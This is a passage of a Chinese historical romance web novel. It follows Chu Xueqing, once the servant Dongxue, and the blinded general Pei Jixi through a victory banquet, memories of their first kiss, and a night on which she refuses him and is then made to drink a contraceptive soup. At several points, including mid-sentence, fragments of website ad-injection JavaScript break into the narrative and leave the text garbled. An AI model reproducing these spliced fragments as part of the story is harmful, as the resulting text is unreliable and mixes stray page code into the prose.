初学清看着眼前裴霁曦难得的笑颜,不禁晃神想到了她还是冬雪时,裴霁曦就是这样,平日对别人端着将军的冰冷面庞,对自己却是笑意炎炎。自从重逢以来,已许久没见过这样的笑容了。 初学清垂下眸子,掩饰自己被这笑颜晃动的心神,问道:“北狄王与公主不和,此次用离间计将裴兄救出,北狄那边势必不会善罢甘休,定远军要做好准备。” “你放心,虽则他们已知晓自己中计,但有定远军守着,加之太子殿下已经知晓轻重,我们绝不会让北狄踏过阴山一步,学清你安心出使长戎,后方有我。” 初学清看着他失神的眸子,心疼道:“裴兄也要安心养伤,如今你的身体才是重中之重,切勿太过操劳。” “我会的,毕竟我还要上战场,只要有复明的可能,我就不会放弃。”裴霁曦顿了顿,话锋一转,状似不经意道:“方才学清说,在樟安做过知府,可听说过樟安商会会长叶氏?” “方才我说的好友,就是她,叶馨儿。” 裴霁曦心中燃起一丝希望道:“商人重利,她能将自家技艺贡献出来做邦交 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手段,属实不易。” 初学清道:“她心中有大义,确实是不一般的女子。” 裴霁曦心中莫名笃定,叶馨儿就是自己要寻的人。 初学清趁着裴霁曦失明,便肆无忌惮地看着他的脸,此去长戎山高路远,危机重重,那就趁此,好好看看他,用以慰藉前路漫漫。 * 北狄营帐之中,裴霁曦被救的消息已然传遍,乌尤拉查出是巴木塔泄露的俘虏位置,便当机立断让人绑了巴木塔。 巴木塔被五花大绑押到营地正中,乌尤拉阴狠狠地看着他,不留情面的当胸一踹,巴木塔大声呼痛,又求饶道:“公主殿下,这一切都是那个使臣的阴谋,我只是和那个小将核对了下礼单,并没有透露俘虏在哪个地方,是他们的离间计,小人是冤枉的啊!” 乌尤拉嗤道:“冤枉?不是你想借刀杀人吗?” 巴木塔颤声道:“不是,什么借刀杀人,小人什么都不知道,大王还等着我回去禀报呢!” 乌尤拉没好气道:“怎么?拿王兄来压我?知道维力斯是怎么死的吗?” 巴木塔瞪大双眼,面色瞬间苍白,他只知因为裴霁曦的离间计,维力斯被误解成细作,被乌尤拉杀死,原来乌尤拉是顺势除掉先王在她身边安插的人,反应过来后,他扭曲着被缚的身子,用力磕着头,哭喊道:“殿下,您是北狄杀神,我一向最崇敬您,您留我一条命,我为您做牛做马……” 可他求饶的话还未说完,乌尤拉抽出长刀,一刀了结了他的性命。 乌尤拉看了眼满地的血迹,随意对身旁人道:“奏报大王,巴木塔通敌叛国,证据确凿。” 无论是哪个兄长在王位上,她都不允许自己的身边有眼睛。 待身旁人领命去写奏报,乌尤拉看了眼大宁的方向,自言自语道:“初学清,有意思。” * 远在京城的皇宫之中,建祯帝因担忧太子安危,一病不起,在他的寝宫寿昌殿内,贤王与景王一同侍疾。 建祯帝躺在龙床上,隔一会便问一句,北境传来消息没,次次得到否定,建祯帝也气急败坏,打翻了贤王端着的药碗:“我的儿在北狄营中受苦,你们两个,就知道在这里闲观,不知道为你们皇兄去奔走,你们……你们也到北境去……” 贤王和景王同时跪地,贤王觉得甚是可笑,他和景王,一个母妃不受宠,一个出生就害先皇后丢了性命,都不入不得建祯帝的眼,建祯帝眼中,只有他的嫡长子一个儿子。 就在此时,有内侍前来通传,带来了北境的消息——裴霁曦代替太子被俘,初学清又将裴霁曦救回,可裴霁曦却因伤致盲,而初学清按计划出使长戎。 闻言,建祯帝总算安了心,他长舒一口气,“我儿总算平安。”他又略微思忖,道,“定远侯当真瞎了?” 听到内侍肯定的回答,他才道:“传令,待长戎和谈完毕,着吴指挥使护送初侍郎去西羌出使,务必确保西羌停战,还有,定远侯一并前去。” 听到这个命令,景王眸光一滞,怔愕道:“父皇,西羌人甚是仇恨定远侯,此番让定远侯去西羌,无异于火上浇油,西羌人怎肯罢战?” 贤王瞥了景王一眼,毫不在意道:“定远侯去了西羌,我们才有谈判的筹码。” 建祯帝看贤王如此直接挑明自己的想法,瞪了他一眼,冷冷道:“定远侯是我大宁的功臣,西境本也是定远军在守,他去西境,理所应当。” 景王垂眸不语,他知道多说无益,但有初学清在,父皇的谋算,多半要落空。 35. 第 35 章 初学清出使长戎,来回用了整整一月,回到邺清时,深冬的大雪漫漫,因为太过寒冷,冰雪都凝不到一起,冷风一吹,漫天飘雪。 桑静榆一直在邺清等着初学清,她本要一起前往,可毕竟出使长戎要经过北狄和西羌的边境线,危机四伏,吴长逸坚持不让初学清带她,她只得一直在邺清待着。 不过她经常去军营帮忙照看伤员,有裴霁曦的照拂,很快定远军都知道了这个聪明伶俐的女医。 可惜明履营如今都在西境镇守,她不能见识见识女兵的英姿,也是憾事。 今日她终于盼到了初学清回来,早早便等在望北关大营门口,守营的士兵职责在身,不能同她闲聊,她便一直在自言自语:“怎么还不来呢,莫不是风雪阻路,耽搁路程了?” “这么久不来,难道是姓吴的使坏了?” 直到夜色朦胧,才远远看见一行车马缓缓而来,桑静榆忙奔向前去。 初学清看见迎接她的桑静榆,不禁露出微笑,走到她近前,翻身下马。 桑静榆迎面扑过去给她一个大大的拥抱,“你们可终于回来了,军营的伤兵都不够我看了呢。” 初学清忙止住她的口无遮拦,“胡言乱语,没有伤兵才是最好的。” 桑静榆意识到自己说错了话,忙道:“对对,没有伤兵最好,长戎发兵的消息一传来,北狄就撤兵了,听说西羌也快了,以后再也没有伤兵了!” 他们身后的吴长逸也下马上前,轻咳了一声。 桑静榆瞥了他一眼,松开了初学清,对初学清道:“回去我给你检查检查,看你有没有受伤,要是伤到了一分,那可是吴将军失职了,回去给他告上一状!” 吴长逸没好气道:“初夫人放心,初大人毫发未伤,吴某可不敢让初大人涉险。” 初学清笑着解释道:“吴将军莫气,内子爱开玩笑。” “别理他,定远侯让人准备了宴席,就在营地上,燃起篝火烤全羊吃,为夫君接风洗尘,快走!” 桑静榆拉着初学清返营,吴长逸在原地僵了半晌,才挪动脚步跟了上去。 营地中已燃起一团团的篝火,众将士都围着篝火,方若渊见他们归来,忙引着他们到了最中间的那簇篝火旁,裴霁曦早已就座,听闻初学清归来,也起身相迎。 初学清看着那双浓雾般的眸子,即使眼旁带了笑意,也掩不住眸中的失色。 印象中那刚毅果敢的眼神,失了往日的凌厉。但裴霁曦的身形仍然挺拔,篝火映照下的铠甲熠熠生辉,泛着久经沙场仍旧如初的光泽。 初学清上前几步扶住裴霁曦:“侯爷重伤初愈,怎的还披甲着铠,如今战事暂歇,侯爷也要好好调养才是。” 裴霁曦反而不以为意,他虽眼盲,但近日也一直在练习骑射,以免武艺生疏。他拍了拍她的肩膀,朗声道:“学清此次携功而返,真是我大宁的功臣!不过怎么出使了趟长戎,就又对我换了称呼。” 初学清忙改口:“是我的不是,裴兄。” 初学清要扶他坐下,裴霁曦摆摆手,“为兄身上的伤已然痊愈,即便仍旧眼盲,但我已习惯了,平日起居也无需人照顾。” 初学清这才放下手,坐到了他身旁。桑静榆跟着坐到初学清另一边,宛如主人一般张罗大家吃肉喝酒。吴长逸也跟着坐到了稍远的位置。 方若渊坐在他们对面,温声笑道:“初侍郎可是大宁的功臣,没上战场,就搞定了北狄小儿。咱们大家伙都来敬初侍郎一杯!” 初学清笑着举起酒杯,却见一旁的裴霁曦,也摸索着拿到眼前酒杯,举了起来。初学清忙抬起手按住他的手腕,止住了他,“裴兄重伤初愈,还是莫要饮酒了。” 裴霁曦愣了愣,上次有人管他喝酒,还是冬雪。手腕上传来的温度稍凉,不知怎的,就让他想起脑中几乎快忘记模样的身影。 周围有人起哄道:“初侍郎,莫不是你被婆娘管着不让喝酒,就不让裴将军喝啊!” 初学清反应过来,忙道:“内子也不会拘着我。不让裴将军喝,是内子的医嘱,他脑中仍有淤血,不宜饮酒。” 一旁的桑静榆嘻嘻笑道:“对,是我的医嘱。” 裴霁曦回过神道:“今日难得开怀,只少饮些。” 又有人嚷嚷道:“初侍郎莫要担心,往常咱们喝酒,都是拿碗的!今日照顾你是文臣,又带着家眷,咱们就都斯文点!” 初学清赧然一笑,他们拿碗喝酒的样子,自己不仅见过,还参与过。 空气中弥漫着烤肉的香气,邺清独有的烈雪散发着辛辣的酒香,甫一入喉,便唤起了她久远的记忆。围着篝火欢呼的将士,互相灌酒的战友,还有这辛辣无比的烈雪,都仿佛是前世的事情。 京城的酒,远没有烈雪的醇厚,她往往要喝上好几壶,才能遮住心中的口子。 她环视了一圈,大部分人都已经不认识了,之前与北狄发生过的恶战,损失了太多定远军的精英。 方若渊还如以往一样端着酒杯小口啜饮,举手投足尽显儒将风范;墨语还是一样坐在裴霁曦身旁默不作声地切着肉,即便如今做到参将的位置,还是习惯了照顾裴霁曦。 初学清低声问身旁的裴霁曦:“怎么不见严奇胜将军?” 裴霁曦闻言,沉默了一会,才道:“北狄撤军,本是好事。可对于与北狄有血海深仇的人来说,却失去了报仇的机会。” 定远军有太多的战友,丧命在北狄铁马之下,这中间的家仇国恨,是他们每个人战场厮杀的动力。可凭借外交辞令的暂时止戈,也会让这一腔怒火无处投放。 初学清经历过战争的残酷,也知道每一位将士身上,背负了多少战友未竟的征途。百姓期盼和平,最好能兵不血刃。可过往已经牺牲过的累累人命,说的出名的,说不出名的,只是化作一捧黄土,连着对敌军的恨意,留在了战友的心中。 兵不血刃,可刃却失了光芒。 在她胡思乱想时,裴霁曦仿佛从这沉默中听到了她的心声,又道:“学清此番出使,做到了将士打仗多年,都换不来的结果。凡有战,必有牺牲,但牺牲的将士们,也希望不用以战止战,就能得太平,即使兵器蒙尘,也能得长久心安。” 一旁的桑静榆留意到他们的对话,没听懂话里的深意,却听到了最后一句,插嘴道:“是啊,我们当医师的,也希望没有人生病,自己一身医术,没处用才好呢!” 远处吴长逸只听到了桑静榆的话,便跟着道:“可我看初夫人,见到了病患,比见到初侍郎还要兴奋。” 桑静榆顺手捡起身旁一块小石头,朝吴长逸扔了过去,正中打在他的胸膛,吴长逸愣怔一下,有些懊恼自己又没管住嘴,怎的就接了这个话。 初学清看到两人的打闹,不禁微弯了唇角。 一旁的裴霁曦稍稍转身靠近她,对她低声道:“学清,我带你转转可好?” 篝火将营地映照地明亮无比,可身边人的低语,带着低沉的磁性,让初雪晴觉得眼前有些模糊,还未反应过来,便点了头,意识到对方看不见,才应了句好。 裴霁曦没用人搀扶就起了身,初学清跟着起来,一旁的墨语见他二人要折身离去,忙起身跟上,裴霁曦感受到墨语的脚步,只对他道不用跟着,便和初学清离开了。 裴霁曦的步速不似往常一样快,但也正好搭上了初学清的节奏,丝毫不受眼盲的影响。初学清没忍住,还是扶住了他的胳膊,裴霁曦笑道:“这营地我熟得很,以前闭着眼睛都不会迷路,如今也只当是闭上了眼睛,学清不必担心。” 初学清默默放下了手,不自然地在身旁垂着。冬日的冷风从身旁呼啸而过,穿过指缝,留下一手的冰冷。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他们走到营地外的一处隘口,夜色下星星点点的火把顺着城墙排列,士兵们安静地列队巡视,城墙下绵延的山脉在月光与白雪的映照下稍显冷清。 裴霁曦停下脚步,声音在空旷的山野间显得格外温醇:“学清帮我看看,远处是否有一处山头,形似卧佛。” 初学清知道他指的哪里,顺着记忆中的方向望去,星空微芒下有一处山脉的起伏,恰似一张躺着的人脸——凹陷下去的是眼睛,高挺着的一处是鼻梁,还有微微起伏的一处,恰似微弯的唇。 初学清轻答:“看到了。” 裴霁曦继续道:“望北关是大宁北方的命脉,正北方向,那处卧佛,在北狄人眼中,是神圣的阴山山神,守护他们世代的安居。可在我定远军眼中,那是边境线,是不能被逾越的关口。 可曾经有一个人对我说,卧佛之所以躺在边境线上,是因为两边都是天下子民,它要涤净杀戮,唤得太平。” 初学清愣怔片刻,才忆起,第一次和裴霁曦来到这里的情形,这番话,就是从前的冬雪口中说出的。 那时的她,即使在明履营待了很长时间,也看不惯战场的杀戮,裴霁曦带她来看卧佛,本是要提醒她此处关口的紧要,她却对卧佛下了新的定义。 初学清穿过层层回忆,恍然回神,缓缓道:“杀戮不是目的,只是手段,想必说这话的人,定是少不经事。” 裴霁曦摇摇头,茫然的眼神穿过黑暗,仿佛能看到眼前的苍茫河山,“她不是少不经事,她是见了太多的杀戮,不忍人命在战场上如此轻贱。” 初学清抬头看向裴霁曦,夜色模糊了他的轮廓,也柔和了他的线条,过往的刚毅此刻都化在沉溺的回忆中,他忽然弯了弯唇角,温声道:“学清,有件事想向你打听一下。” 这笑容让初学清有些晃神,她忙回道:“裴兄请讲。” “上次你说过,樟安商会会长叶氏……叶馨儿是你之友,那你可知,她是何时到樟安的?” 初学清不知为何他会问起叶馨儿,但还是答道:“她是叶家独女,自幼丧母,在乡下跟着祖母生活,直到及笄才回到樟安。自老会长过世后,接起了叶家的担子。” “她手下有一女掌柜,杨氏,专管酒楼食肆,你可认得?” 初学清心中一惊,脑中仿佛想到了什么,却又抓不住,只得茫然道:“认得,在樟安做知府时,打过几次交道。” 裴霁曦笑容加深,继续问:“那杨氏之前,可是在京城待过?” 初学清愣怔片刻,答道:“这就不知了。” “那她可是一个寡妇,以前卖豆腐出身?” 初学清下意识摇摇头,面色紧绷地反问:“裴兄问这些,可是叶馨儿有什么不对?” 裴霁曦叹笑一声,“不是不对,是希望对。叶馨儿可能是……还不确定,等轻风的消息传回来,可能还需要你帮忙确认一下。” 初学清恍然大悟,怪不得一直不见轻风在他身边,原来是被派到樟安打探消息。难道他一直在找自己?以为叶馨儿是自己?现在是打听到了杨若柳,知道杨若柳曾经和她有过交集,更加确认叶馨儿就是冬雪? 初学清试探问道:“裴兄可是在寻人?” “是。”裴霁曦答道,“这么多年,一直在寻。” “那裴兄寻的,是什么人?” 裴霁曦垂下头,声音低沉却有力:“是我挚爱之人。” 冬风呼啸而过,松涛声声似在悲鸣,松木冷香盘山萦绕,暗夜中满山白色清冷寂寥,与当年的北境一般无二。 初学清沉默不语,挚爱之人——隐隐觉得他说的是自己,可又不敢自认这个称呼,毕竟七年时间,沧海桑田,他已娶妻生子,而她也有了新的身份。 上一次的自作多情,已经让两人生了龃龉。 那是在他们的初吻之后了。 36. 第 36 章 初雪晴在一片懵然中拥有了初吻,自诩聪明的她,在那一刻忘记了问这个吻的意义,可翌日裴霁曦就让墨语把她送回了邺清养伤,换了轻风随军侍候世子,便就此错过了提问的最佳时机。 裴霁曦是知道她的志向的,又说了会给她想要的,难道这就是互许心意?一个侯府世子,在如此等级森严的世道,能坚守如一吗? 这个吻,也让初雪晴意识到了自己的心意。裴霁曦是照亮她的一道光,带她出了泥淖,给她指明了方向,她一直压抑内心的情动,是不信任这世道,而不是不信任这个人。 如果,裴霁曦愿意带她冲破这世道,那她敢追随吗? 初雪晴理不清自己的思绪,只得在邺清养伤的时候,不停看书,练字……若不是身体尚未康复,她甚至想要练武。 也许自己真的做出一些成绩,他们之间的阻碍就会少一些。 而她做的这些,在同为世子丫鬟的霜华眼中,就是煞费苦心的勾引。 如今侯府的主子,不是在战场,就是在京中,邺清的侯府没有主子,下人们就轻松许多,经常闲聊是非,也只有裴霁曦的奶娘赵嬷嬷管一管他们。 初雪晴刚回邺清时,霜华就明里暗里地打听她为什么受伤,好在墨语嘱咐了赵嬷嬷,赵嬷嬷斥责了霜华之后,她便不再打听了。 转眼春暖花开,邺清的春日是北境难得的好时节,上巳节的邺清褪去了冬日的冷白,侯府里的花也开始争奇斗艳,听腊梅说,街上更是热闹,可惜初雪晴的腿伤未愈,不能外出,只能对着窗前粉白的桃花看书。 她正看书的时候,腊梅欢快地跑了进来,兴奋道:“冬雪,冬雪!你猜我给你带了什么!” 初雪晴抬起头来,对腊梅笑道:“你是去街上买东西了?” “不对!方才轻风回来了一趟,拿了些东西就急着走了,但是给你留了一封世子的信,让我交给你!”说着,腊梅从怀中掏出了信,递给了她。 初雪晴接过信,摩挲着上面的“冬雪”二字,压住嘴角的笑意。 腊梅挑着眉揶揄她:“以后是不是就要叫你主子啦!” 初雪晴倏然看向她,摇了摇头道:“不要乱说。” 腊梅吐了吐舌头:“那你悄悄看信,我就不打扰你啦!” 腊梅走后,初雪晴小心翼翼的拆开信,宣纸上仿佛还带着裴霁曦的温度,暗黄色的纸上,黑色的字迹依旧苍劲有力。 “望北关以北,有处山头,形似人脸,静躺于地,谓之卧佛。吾巡视之时,远望卧佛,霞光满铺,叹此美景,应与卿共赏。” 初雪晴小心地将信贴在胸口,抚慰那躁动的心跳。 赵嬷嬷在院子里远远看见初雪晴面带红晕,嘴角微弯,走近前唤了声:“冬雪丫头!” 初雪晴被吓了一跳,抬头看见赵嬷嬷,忙把拿着信的手背到身后。 “藏什么,世子给你捎了信,大家都知道了。”赵嬷嬷走上前拍了拍她的肩, “丫头好福气,只是日后不要再去军营了,耽误了世子治军,可就说不清了。这要是老夫人在,肯定不会让世子带你去军营的。” 初雪晴缓缓抬起头来,只道:“可我在军营,也是有用的。” 赵嬷嬷叹了口气:“我知道你想陪着世子,可治军是大事,你在那容易坏了世子的名声。” “我是想进明履营,不是想陪着世子。” 赵嬷嬷被她的想法惊到了,“哎呦我的老天爷,你个小丫鬟还想进明履营,打仗是那么好玩的事情么!现在世子瞧上你了,安心地跟着世子在侯府享乐不好么!” 初雪晴垂首把手中的信放进信封里,不再言语。 赵嬷嬷没料到这丫头这么惊世骇俗,又补充道:“你这个福气是多少人盼不来的,霜华那头那么使劲,现在都近不了世子的身,你知足吧。” 赵嬷嬷的一席话,让本想给裴霁曦回信的初雪晴,都没了心气。 卧佛有多美,她不知道,可眼前的路有多窄,她是知道了。 * 能看见卧佛的人,正立在隘口眺望远方。春日的望北关还留有一丝清冷,这丝清冷被落霞的光晕抚慰,让人身心舒适。 北狄撤出石喙岭后,裴霁曦和方若渊带部分人马回到了望北关,只留严奇胜还在支援石喙岭,以防北狄去而复返。 北狄大部仍在望北关徘徊,时不时偷袭一下,但都在定远军的掌控之中。 望北关虽离邺清更近,但裴霁曦也并未返回邺清,只在上巳节这天,让轻风去送一封信。 轻风送信回来,一路小跑在隘口处找到了裴霁曦,气喘吁吁道:“世子,找遍了整个集市,都没找到雪花形状的簪子,只找到这个。” 轻风递出手中玉簪,简单的白玉,簪头是一个圆形,没有任何装饰。轻风念叨着:“我找店家要了点工具,不行我就给刻一下,看能不能刻出个雪花来。” 裴霁曦接过玉簪,轻笑一声:“就你那画工?还是我来吧。” 轻风“哎呦呦”叫了一声,道“世子,您这现在不仅爱笑了,还开始打趣我了,冬雪的本事不小呀!” 裴霁曦瞥他一眼,又恢复了日常的冷脸。 轻风又道:“您什么时候收了冬雪?就凭您亲自为她做簪子这份心意,她知道了不得感动坏了。不过她好像还未及笄吧,您是要等她及笄了再收房?” 裴霁曦打住了他的天马行空:“不要胡言乱语,做好你分内的事。墨语都入了军籍,你呢?跑几步就气喘吁吁。” “别呀!”轻风忙摆手道,“我可不敢上战场,那腥风血雨的,得把我吓死,您就让我一辈子在您身边伺候,我就知足啦!” 裴霁曦拇指摩挲着玉簪,折身走回营地,道:“工具给我送来。” 轻风心中暗道,世子这般着急,这就开始要磨簪子了,冬雪这是铁定要飞上枝头了。 * 与北狄这场战事,持续到了这年初冬,经过几轮的谈判,乌尤拉被放回北狄,两方签署了止战书,北狄终是禁不起如此持久消耗,全部撤军了。 初雪晴的伤已大好,侯府的书都被她翻了个遍,就连鄙陋不堪的字迹也都突飞猛进,一手漂亮的簪花小楷信手拈来。 可裴霁曦一直没回邺清,只是在节日的时候会捎来书信,她也不好自己去望北关。直到停战的消息传来,整个侯府复又忙了起来,要迎定远侯和世子回府。 伴着邺清初雪的飘舞,定远侯和裴霁曦一同回到了侯府。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 这是初雪晴第一次见定远侯,隔着请安的下人们,她在角落躬身候着,侯爷让他们起身的时候,她才抬眼远远看了一眼。 定远侯身量和裴霁曦差不多,庄严冷峻的面庞上一双眸子目光如剑,年近不惑却依旧英朗不凡,裴霁曦的相貌看来是随了定远侯,连整日里摆出的那副生人莫近的严肃,也是肖似定远侯。 初雪晴只是抬眼一瞬,却被裴霁曦抓住了目光,裴霁曦目光灼热地看向她,眸中似有丝丝缕缕的线,缠绕住了她,惹得她不得不赶紧垂下头,假装没看见那道目光。 裴霁曦见她垂首,便收回了目光,跟着定远侯走远。 此番停战,定远侯还要去京中述职,也希望能一并将家眷接回邺清。毕竟大宁寸土未失,还逼的北狄奉上岁贡,也算大功一件。 直到入夜,裴霁曦才从父亲身边抽出身来,迫不及待回到自己院中。 初雪晴早已将屋中打扫得一尘不染,也备好了热水。 裴霁曦进屋,见初雪晴正在香炉旁焚香,屋内的松木清香,似被雪覆住的松树,醇厚却低调。 初雪晴见他归来,身旁也没带小厮,实在是一个坦露心声的好时机。她憋了很久的疑问,还有对未来的不确定,都想要在裴霁曦这里寻得答案。 可当这个人真正出现在自己面前的时候,那些萦绕心头的疑惑仿佛都不重要了,重要的是眼前的人,风尘仆仆,却不显疲态,目光就那么定定得粘在自己身上。 初雪晴却不知该说什么,仿佛那个战场上为她披荆斩棘的少年将军,已经很远了,而他们那个沉寂在夜晚的朦胧的吻,也已经很远很远了。她屈身行礼,道了声世子。 可裴霁曦却并不觉得远,在每晚摩挲着那支雪花簪的时候,心中念着的就是眼前的人,他倾身上前,用力抱住了初雪晴。 初雪晴将脸埋在裴霁曦胸前,用力吸着他身上夹杂着远山寒意的尘土味,双手也渐渐抬起,虚虚搭在裴霁曦腰间。 感受到怀中人的回应,裴霁曦才略略松了手,从怀中掏出不知被他摩挲了多少遍的簪子,插在了初雪晴的头上,轻轻道:“终于还是在你及笄这天赶回来了。” 初雪晴抬手摸了摸头上的东西,手感温润的玉簪,还带着裴霁曦怀中的温度,“我及笄?我是今日生辰吗?” 初雪晴并不知道自己生辰,也从未过过生辰,裴霁曦笑道:“小糊涂,连自己生辰都不记得。要不是我翻了你的身契,你连及笄的日子都忘记了。” 裴霁曦又轻轻推开初雪晴,“忘记了我身上脏,我先去洗洗。” 待裴霁曦去了水房,初雪晴摘下了头上的玉簪,轻轻抚着。簪头是雪花的形状,六瓣的雪花仿若袅娜轻舞的精灵,莹白的颜色通透剔亮。想必也是裴霁曦费尽心思才找到的,特地赶在她及笄这日,这是定情信物吗? 裴霁曦洗了很久,不像平常在军营那边囫囵对付,彻底洗干净了,又穿上初雪晴为他备好的衣物,闻着衣物上熏染的松木香,又想到前几日轻风塞给他的那本书。 轻风偷偷摸摸塞给他那本书时,神情揶揄,“世子,冬雪可要及笄了,您也得先学习学习,不然你们两个啥都不懂……” 臭小子,就跟他有经验似的。 37. 第 37 章 裴霁曦整了整衣襟,确认身上得体,才又走进正屋。 初雪晴正在为他铺床,身子微弯,连背影的弧度,都让裴霁曦心跳不已。 裴霁曦稳了稳呼吸,走上前去,拉住了初雪晴的手。 她的手柔软却没那么光滑,好在比初见她时的满手冻疮要好多了,裴霁曦低声问:“身子可养好了?” 初雪晴手心微痒,想要撤出手,却被裴霁曦又攥紧了些,她答道:“已经大好了,都这么长时间了。” 裴霁曦一手拉着她,一手抚上她的脸颊,轻捋她的鬓发,烛光映照下的面庞带着一丝红晕,白皙俏丽,两泓清泉带着欲语还休的烟波,鼻翼翕动,唇似桃花般粉嫩,引着人想要探究一番。 裴霁曦顺着自己的心意低头去探索那株桃花,直到唇瓣挨在一起,才回忆起上次亲吻时的躁动。可这次,已经不满于简单的摩挲,他探入她的唇,感受相触的悸动,向深处撷取她的温度。 初雪晴本想铺完床就回屋,待裴霁曦好好歇一晚再明确他们之间的事情。可两人纠缠的唇舌,让她也一步步沉沦,似是一片飘落在温泉的雪花,化在氤氲的热气之中。 唯有躁动的心跳,扰乱这一室旖旎。 初雪晴身子发软,不知不觉就瘫到了床上,只觉身处云雾之中,如梦似幻,却又心如擂鼓,唇舌的纠缠是那般鲜明。 仿佛溺水的人,唯一的浮木就是对方的唇,从对方的唇中汲取着生机和力量。 这一吻不知过了多久,久到初雪晴完全失了力气,任眼前的人采撷。 裴霁曦的唇终于离开,却紧接着复又向下,灼热的呼吸撒在初雪晴的脖颈,让初雪晴微微发颤,理智都在这一刻丧失,只有眼前人的温度,真实地抚慰着彼此。 裴霁曦的手轻轻扯开了她的衣带,顺着衣襟向内。 初雪晴脑中一直紧绷的弦倏然断裂,她瞪大了眼睛,忽然明白了今夜眼前的人想做什么。 而做这事,又意味着什么,她也恍然明白了。 也许情动是真的,但两人的所需又是不同的,一个是到了年龄该收通房的世家子弟,一个是想要挣扎出泥淖的卑微丫鬟。可世人眼中的捷径,却不是初雪晴想要走的路。 原来是她自作多情,以为裴霁曦要带她冲破枷锁,可未料,有新的枷锁在等她。 她猛然挣扎开来,推开了正在作乱的裴霁曦。 她收紧衣襟,慌乱地系好衣带,退开几步,跪在了地上。 周身的温度迅速下降,她瑟瑟发抖,额头挨着冰凉的地面,眼眶不自觉就蓄满了泪水,滴落在地上,氤氲开来两点水渍。 裴霁曦在床上僵着,犹如冷水泼身般狼狈,他没料到两人情到浓时她却遽然推开了他。 空气中松香味依旧,烛影晃动,扰乱一室寂静。 等到身体平复了先前的躁动,他才缓缓低头看向地上的人,想问什么,却问不出口。 初雪晴平复了呼吸,颤声道:“奴婢,奴婢……” 这声“奴婢”,让裴霁曦如坠冰窟,他哑声问:“你不愿?” 初雪晴眨了眨眼,将蓄满眼眶的泪水洒到地上,才深呼吸一口,道:“奴婢卑贱,配不上世子的抬爱。” 奴婢,奴婢……裴霁曦心中倏尔泄了劲般无力,他何时把她当作奴婢?明明在军营时,两人是那般契合,如同并肩奋战的战友,又是教学相长的师生,还是心意相通的爱侣…… 总不单单是主仆,为何才半年多,就生疏至此呢? 裴霁曦理了理凌乱的衣襟,默默走下床,扶起了初雪晴。 初雪晴发丝凌乱,眼眶还红着,唇也微微肿起,她始终低着眼帘,没有抬头看裴霁曦。 裴霁曦轻叹了口气:“你出去吧。” 初雪晴应了声“是”,折身往外走。 “等等。” 初雪晴顿住脚步,心也揪了起来,若他强要,她也没有挣脱命运的资本。 裴霁曦犹豫道:“你……流血了。” 初雪晴忙用手去捂身后,她看向床铺,上面也有星星点点的血迹。她正在小日子,方才动作太大,竟弄脏了床铺。 她又忙去收拾床铺,裴霁曦轻声制止道:“你回去休息吧,这里不用管了。” 初雪晴这才停下了手,“嗯”了一声,转身离开。 裴霁曦看着地上氤氲的两点水雾,脑中混乱一片。 他走到床边,打开窗子,冷风嗖嗖地灌进来,直到身体彻底冷下来,他脑中才清明了一些。裴霁曦一直以为初雪晴是愿意的,若早知她不愿,裴霁曦又怎会将他二人陷入此番境地? 可明明她是有回应的,不管是在军营那次,还是今晚开始时,裴霁曦能感受到她也是有着炙热滚烫的情感,难道是因为小日子?可若仅仅因为小日子,她又为何哭呢? 抑或是,她是碍于主仆身份,没有拒绝,可真到了那一步,又开始害怕? 裴霁曦不敢深想,因为想到到深处,就是害怕的那种……自作多情。 * 初雪晴躺在自己的床上翻来覆去,一夜未眠,裴霁曦承诺过给她想要的,可如今看来,两人对她想要的,看法并不一致。 天光大亮,她才缓缓起身。身为裴霁曦的贴身丫鬟,她不需要干什么粗重的活,只需要收拾裴霁曦的屋子。可如今这情境,她却拖着不想去见裴霁曦。 她的眼和唇已经不肿了,可脖子上还有一些痕迹,她找了件高领的棉衫遮住。 未等她想好要怎么面对裴霁曦,赵嬷嬷就端着一碗汤来到她的屋子,一进来就上下打量她,她只能不自在地又拉了拉领子。 赵嬷嬷将汤药放在一旁的桌上,笑道:“今早我去给世子收拾屋子,那褥子上有落红,我都知道了,你还遮掩什么,这是好事。”赵嬷嬷拉过她的手轻拍了几下,“以后好好伺候世子,将来有的福享。” 初雪晴脸色僵住,不自然地抽出了手。 她想要解释,又觉得没甚可解释的,裴霁曦的确存了那份心思,而她,也的确会错了意。就算解释了,也没人会相信她的清白。 赵嬷嬷端起放在桌上的汤,道:“来,补身子的,趁热喝掉。” 那汤色发乌,上面漂着一些浮沫,满满一大碗,初雪晴隐隐知道这是什么,世家子弟,是不能在正妻入门之前有庶子的。 “嬷嬷,我没有……” 赵嬷嬷拍了拍她的肩,打断了她的话:“还是要喝的,别坏了规矩。” 初雪晴咬了咬牙,还是没有拒绝,端起来全喝了。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>太苦了,那苦涩绕着口腔,粘在喉咙上,怎么都下不去。 赵嬷嬷满意地收回空碗,“你今儿就好好歇着,世子那不需要你伺候,侯爷今日要入京,他还得去侯爷那。” 赵嬷嬷见她一直不语,只当是经历了初次的小丫头,不知所措,也没再说什么,端着碗走了。 初雪晴本已看见曙光的前途倏尔晦暗了下来,有些可笑的是,她竟然还妄想过拼命去挣一个前途,以配得上裴霁曦的身份,不枉裴霁曦对她的情谊。 可所谓情谊,原来根本不是在一个平等的身份前提下,只是这个世道下,大多世家子弟轻许的那一点怜爱而已。 如果是一个世家小姐,想必裴霁曦也不会如此行事,未定下终身,未经三媒六聘,莽撞地要她。 还是在她及笄的日子里。 她对及笄没有认识,只记得上次侯府庶女裴雨檀及笄之时,哪怕为了不张扬简单办了一场,也是倾尽侯府的人力。 可原来她的及笄,只意味着可以行周公之礼,收成通房罢了。 初雪晴虽无那么强的贞操观念,可她也明白,在这个世道之下,裴霁曦的行为意味着什么。 如果这份轻飘飘的怜爱能稍微久一些,她也许还能混个小妾的身份,可若新妇进门,不允婚前的荒唐,那她便是发卖出府的的命运。 初雪晴收起裴霁曦送的那根雪花簪,用帕子包好。 她候在裴霁曦屋外,裴霁曦不在,她也没有再擅自进屋,只是在冷风穿堂而过的廊下静静立着。 